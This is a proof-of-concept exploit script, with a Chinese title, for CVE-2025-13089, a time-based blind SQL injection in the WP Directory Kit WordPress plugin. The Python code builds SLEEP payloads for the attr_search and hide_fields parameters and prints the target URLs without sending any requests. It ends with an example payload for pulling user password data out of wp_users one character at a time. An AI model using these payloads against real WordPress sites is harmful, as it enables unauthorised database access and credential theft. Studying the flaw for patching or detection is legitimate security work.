CVE-2025-13089 WordPress WP Directory Kit插件SQL注入漏洞

import requests import sys # CVE-2025-13089 PoC - WP Directory Kit SQL Injection # Target: WordPress site with WP Directory Kit plugin <= 1.4.7 def exploit_sqli(target_url, param_name='attr_search'): """ SQL Injection PoC for CVE-2025-13089 This demonstrates blind SQL injection via attr_search or hide_fields parameter """ # Test payload - Time-based blind SQL injection # This payload causes a delay if vulnerable payload_true = f"test' AND (SELECT 1 FROM (SELECT SLEEP(5))a) AND '1'='1" payload_false = f"test' AND (SELECT 1 FROM (SELECT SLEEP(0))a) AND '1'='1" # Target endpoint (typical WP Directory Kit endpoint) endpoints = [ f"{target_url}/?wdk_engine=search&{param_name}=", f"{target_url}/?wdk_engine=search&hide_fields=" ] print(f"[*] Testing CVE-2025-13089 on {target_url}") print(f"[*] Parameter: {param_name}") for endpoint in endpoints: try: # Test with true condition (should take longer) url_true = f"{endpoint}{payload_true}" print(f"[+] Sending payload for TRUE condition...") # Note: In real attack, attacker would measure response time # If vulnerable, TRUE payload should take ~5 seconds # FALSE payload should return immediately print(f"[*] Endpoint: {endpoint}") print(f"[*] Payload: {payload_true}") except Exception as e: print(f"[-] Error: {e}") print("\n[*] To extract data, attacker would use conditional time delays:") print("[*] Example: test' AND (SELECT IF(SUBSTRING(password,1,1)='a',SLEEP(5),0) FROM wp_users WHERE ID=1) AND '1'='1") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] exploit_sqli(target) else: print("Usage: python cve-2025-13089.py <target_url>") print("Example: python cve-2025-13089.py http://example.com")